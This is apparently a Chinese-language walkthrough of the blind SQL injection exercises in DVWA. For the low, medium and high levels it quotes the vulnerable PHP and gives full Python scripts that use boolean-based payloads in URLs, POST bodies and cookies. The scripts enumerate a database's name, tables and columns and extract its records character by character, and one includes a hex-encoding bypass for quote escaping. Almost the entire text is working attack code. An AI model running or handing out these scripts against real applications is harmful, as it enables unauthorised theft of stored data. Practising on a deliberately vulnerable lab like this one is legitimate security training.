def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) theurl = self.url + "1' and ascii(substring(database(),{0},1))={1}%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database")
运行结果：
MGjklQ.png
获取表长
def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) theurl = self.url + "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length')
运行结果：
MGjdfO.png
获取表名
def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) theurl = self.url + "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name')
运行结果：
MJie0g.png
获取表列数量
def get_column_num(self,table_name): self.column_num = 0 for i in range(1,30): self.process('get_column_num',i,30) theurl = self.url + "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num)
获取总长度
def get_column_length(self,table_name): for i in range(1,100): self.process('get_column_length',i,100) theurl = self.url + "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length')
获取列名
def get_column_name(self,table_name): name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})%23".format(str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name')
运行结果：
MJFlUH.png
获取字段数目
def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) theurl = self.url + "1' and (select count({0}) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num')
获取列长
def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) theurl = self.url + "1' and (select length(group_concat({0})) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length')
获取数据
def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})%23".format(column_name,str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
运行结果：
MJAW4J.png
级别：medium
SQL Injection (Blind) Source
<?phpif( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close();}?>
分析
medium级别与low级别差不多， 将get方式改成post方式即可，数字型注入。
由于他会过滤单引号，所以需要转成16进制。
def tranhex(self,str1): result = '0x' for i in str1: result += hex(ord(i))[2:] return result
运行结果：
MJmPQs.png
MJmaSH.png
级别：high
SQL Injection (Blind) Source
<?phpif( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
import requestsimport stringclass Injection: def __init__(self,url): self.url = url self.s = requests.session() self.zifuji = [44,48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 45, 64, 33, 38, 36] self.headers = { 'Cookie': 'security=low; PHPSESSID=ms11imgpftrmfcp27rmk9s006c' } def process(self,yourstr,num1,num2): print("[+] Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r') def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False def run(self): self.get_itsnum() self.get_database_length() self.get_database() self.get_table_num() self.table_length = [] self.table_name = [] self.get_table_length() self.get_table_name() table_name = input('[-] table_name: ') self.get_column_num(table_name) self.column_length = [] self.column_name = [] self.get_column_length(table_name) self.get_column_name(table_name) column_names = input('[-] column_name: ').split(',') self.word_num = 0 self.get_word_num(table_name,column_names[0]) self.word_name = [] self.word_length = [] for i in range(len(column_names)): print(column_names[i]) self.get_word_length(table_name,column_names[i]) self.get_word_name(table_name,column_names[i],i) def get_itsnum(self): self.itsnum = 0 for i in range(1,50): self.process('get_itsnum',i,50) theurl = self.url + "1' order by {0}%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if not self.check(html): self.itsnum = i - 1 break if self.itsnum > 0: print('\n==>',self.itsnum) else: print("\ncan not get the itsnum") def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) theurl = self.url + "1' and length(database())={0}%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length") def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) theurl = self.url + "1' and ascii(substring(database(),{0},1))={1}%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database") def get_table_num(self): self.table_num = 0 for i in range(1,30): self.process('get_table_num',i,30) theurl = self.url + "1' and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.table_num = i break if self.table_num > 0: print('\n==>',self.table_num) else: print("\ncan not get the table_num") def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) theurl = self.url + "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length') def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) theurl = self.url + "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})%23".format(str(i),str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name') def get_column_num(self,table_name): self.column_num = 0 for i in range(1,30): self.process('get_column_num',i,30) theurl = self.url + "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num) def get_column_length(self,table_name): for i in range(1,100): self.process('get_column_length',i,100) theurl = self.url + "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length') def get_column_name(self,table_name): name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})%23".format(str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name') def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) theurl = self.url + "1' and (select count({0}) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num') def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) theurl = self.url + "1' and (select length(group_concat({0})) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length') def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) theurl = self.url + "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})%23".format(column_name,str(i),table_name,str(j)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
medium
import requestsimport stringclass Injection: def __init__(self,url): self.url = url self.s = requests.session() self.zifuji = [44,48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 45, 64, 33, 38, 36] self.headers = { 'Cookie': 'security=medium; PHPSESSID=ms11imgpftrmfcp27rmk9s006c' } def process(self,yourstr,num1,num2): print("[+] Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r') def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False def tranhex(self,str1): result = '0x' for i in str1: result += hex(ord(i))[2:] return result def run(self): self.get_itsnum() self.get_database_length() self.get_database() self.get_table_num() self.table_length = [] self.table_name = [] self.get_table_length() self.get_table_name() table_name = input('[-] table_name: ') self.get_column_num(table_name) self.column_length = [] self.column_name = [] self.get_column_length(table_name) self.get_column_name(table_name) column_names = input('[-] column_name: ').split(',') self.word_num = 0 self.get_word_num(table_name,column_names[0]) self.word_name = [] self.word_length = [] for i in range(len(column_names)): print(column_names[i]) self.get_word_length(table_name,column_names[i]) self.get_word_name(table_name,column_names[i],i) def get_itsnum(self): self.itsnum = 0 for i in range(1,50): self.process('get_itsnum',i,50) data = { 'id':"1 order by {0}".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if not self.check(html): self.itsnum = i - 1 break if self.itsnum > 0: print('\n==>',self.itsnum) else: print("\ncan not get the itsnum") def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) data = { 'id':"1 and length(database())={0}".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length") def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) data = { 'id':"1 and ascii(substring(database(),{0},1))={1}".format(str(i),str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database") def get_table_num(self): self.table_num = 0 for i in range(1,30): self.process('get_table_num',i,30) data = { 'id':"1 and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.table_num = i break if self.table_num > 0: print('\n==>',self.table_num) else: print("\ncan not get the table_num") def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) data = { 'id':"1 and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length') def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) data = { 'id':"1 and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})".format(str(i),str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name') def get_column_num(self,table_name): self.column_num = 0 table_name = self.tranhex(table_name) print(table_name) for i in range(1,30): self.process('get_column_num',i,30) data = { 'id':"1 and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name={0} having a={1})".format(table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num) def get_column_length(self,table_name): table_name = self.tranhex(table_name) for i in range(1,100): self.process('get_column_length',i,100) data = { 'id':"1 and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name={0} having a={1})".format(table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length') def get_column_name(self,table_name): table_name = self.tranhex(table_name) name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) data = { 'id':"1 and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name={1} having a={2})".format(str(i),table_name,str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name') def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) data = { 'id':"1 and (select count({0}) as a from {1} having a={2})".format(column_name,table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num') def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) data = { 'id':"1 and (select length(group_concat({0})) as a from {1} having a={2})".format(column_name,table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length') def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) data = { 'id':"1 and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})".format(column_name,str(i),table_name,str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
high
import requestsimport stringclass Injection: def __init__(self,url): self.url = url self.s = requests.session() self.zifuji = [44,48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 45, 64, 33, 38, 36] def get_headers(self,payload): headers = { 'Cookie': "id={0}; security=high; PHPSESSID=ms11imgpftrmfcp27rmk9s006c".format(payload) } return headers def process(self,yourstr,num1,num2): print("[+] Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r') def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False def run(self): self.get_itsnum() self.get_database_length() self.get_database() self.get_table_num() self.table_length = [] self.table_name = [] self.get_table_length() self.get_table_name() table_name = input('[-] table_name: ') self.get_column_num(table_name) self.column_length = [] self.column_name = [] self.get_column_length(table_name) self.get_column_name(table_name) column_names = input('[-] column_name: ').split(',') self.word_num = 0 self.get_word_num(table_name,column_names[0]) self.word_name = [] self.word_length = [] for i in range(len(column_names)): print(column_names[i]) self.get_word_length(table_name,column_names[i]) self.get_word_name(table_name,column_names[i],i) def get_itsnum(self): self.itsnum = 0 for i in range(1,50): self.process('get_itsnum',i,50) payload = "1' order by {0}#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if not self.check(html): self.itsnum = i - 1 break if self.itsnum > 0: print('\n==>',self.itsnum) else: print("\ncan not get the itsnum") def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) payload = "1' and length(database())={0}#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length") def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) payload = "1' and ascii(substring(database(),{0},1))={1}#".format(str(i),str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database") def get_table_num(self): self.table_num = 0 for i in range(1,30): self.process('get_table_num',i,30) payload = "1' and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.table_num = i break if self.table_num > 0: print('\n==>',self.table_num) else: print("\ncan not get the table_num") def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) payload = "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length') def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})#".format(str(i),str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name') def get_column_num(self,table_name): self.column_num = 0 for i in range(1,30): self.process('get_column_num',i,30) payload = "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})#".format(table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num) def get_column_length(self,table_name): for i in range(1,100): self.process('get_column_length',i,100) payload = "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})#".format(table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length') def get_column_name(self,table_name): name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})#".format(str(i),table_name,str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name') def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) payload = "1' and (select count({0}) as a from {1} having a={2})#".format(column_name,table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num') def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) payload = "1' and (select length(group_concat({0})) as a from {1} having a={2})#".format(column_name,table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length') def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) payload = "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})#".format(column_name,str(i),table_name,str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
